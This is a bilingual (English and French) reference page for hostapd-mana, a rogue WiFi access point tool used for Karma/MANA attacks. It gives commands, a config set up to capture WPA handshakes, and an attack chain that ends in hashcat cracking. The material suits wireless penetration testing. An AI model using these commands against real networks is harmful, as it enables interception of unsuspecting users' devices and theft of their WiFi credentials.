hostapd-mana

Overview

hostapd-mana is a modified build of hostapd that implements the Karma and MANA attacks against WiFi clients. Devices constantly broadcast probe requests for previously-joined networks; hostapd-mana listens for these and responds as if it were that network, tricking clients into auto-connecting to a rogue AP. It also captures WPA/WPA2 handshakes from any client that associates, and can log loud/quiet MANA probe activity for later analysis.

Common Usage

Basic Karma mode — respond to any probed SSID

hostapd-mana /etc/hostapd-mana/hostapd-karma.conf

Loud MANA mode (respond to all probes, broadcast known SSIDs)

hostapd-mana /etc/hostapd-mana/hostapd-mana.conf

Run in the foreground with debug output

hostapd-mana -dd /etc/hostapd-mana/hostapd-mana.conf

Example config snippet

# hostapd-mana.conf
interface=wlan0
driver=nl80211
ssid=Free WiFi
channel=6
mana_wpaout=/tmp/mana-handshakes.hccapx
mana_loud=1
enable_mana=1

Notes

• Requires a wireless adapter capable of AP mode and packet injection.
• Combine with dnsmasq (for DHCP/DNS) and airbase-ng/bettercap for a full rogue-AP + captive-portal chain.
• Captured handshakes (.hccapx) feed directly into hashcat for offline WPA cracking.

hostapd-mana [-hdBKtv] [-P PID_FILE] [-e ENTROPY_FILE] <configuration file(s)>

  -h   show this help
  -d   show more debug messages (-dd for even more)
  -B   run daemon in the background
  -K   include key data in debug messages
  -t   include timestamps in some debug messages
  -v   show hostapd version

MANA options (in config file):
  enable_mana=1        enable Karma/MANA response mode
  mana_loud=1           reply to all probe requests, not just known SSIDs
  mana_mac_acl=0        disable MAC filtering
  mana_wpaout=FILE      write captured WPA handshakes to FILE
  mana_eapsuccess=1     force EAP success for enterprise capture
  mana_eaptls=1         force TLS EAP success

Vue d’ensemble

hostapd-mana est un build modifié de hostapd qui implémente les attaques Karma et MANA contre les clients WiFi. Les appareils diffusent constamment des probe requests pour des réseaux précédemment rejoints ; hostapd-mana les écoute et répond comme s’il était ce réseau, piégeant les clients pour qu’ils se connectent automatiquement à un point d’accès pirate. Il capture aussi les handshakes WPA/WPA2 de tout client qui s’associe, et peut journaliser l’activité de probe MANA en mode bruyant ou silencieux pour une analyse ultérieure.

Utilisation courante

# Mode Karma de base : répondre à tout SSID probé
hostapd-mana /etc/hostapd-mana/hostapd-karma.conf

# Mode MANA bruyant (répondre à tous les probes, diffuser les SSID connus)
hostapd-mana /etc/hostapd-mana/hostapd-mana.conf

# Lancer au premier plan avec sortie de debug
hostapd-mana -dd /etc/hostapd-mana/hostapd-mana.conf

Extrait de configuration exemple

# hostapd-mana.conf
interface=wlan0
driver=nl80211
ssid=Free WiFi
channel=6
mana_wpaout=/tmp/mana-handshakes.hccapx
mana_loud=1
enable_mana=1

Notes

• Nécessite une carte sans fil capable de mode AP et d’injection de paquets.
• Combiner avec dnsmasq (pour DHCP/DNS) et airbase-ng/bettercap pour une chaîne complète rogue-AP + portail captif.
• Les handshakes capturés (.hccapx) alimentent directement hashcat pour un cassage WPA hors ligne.

hostapd-mana [-hdBKtv] [-P PID_FILE] [-e ENTROPY_FILE] <configuration file(s)>

  -h   show this help
  -d   show more debug messages (-dd for even more)
  -B   run daemon in the background
  -K   include key data in debug messages
  -t   include timestamps in some debug messages
  -v   show hostapd version

MANA options (in config file):
  enable_mana=1        enable Karma/MANA response mode
  mana_loud=1           reply to all probe requests, not just known SSIDs
  mana_mac_acl=0        disable MAC filtering
  mana_wpaout=FILE      write captured WPA handshakes to FILE
  mana_eapsuccess=1     force EAP success for enterprise capture
  mana_eaptls=1         force TLS EAP success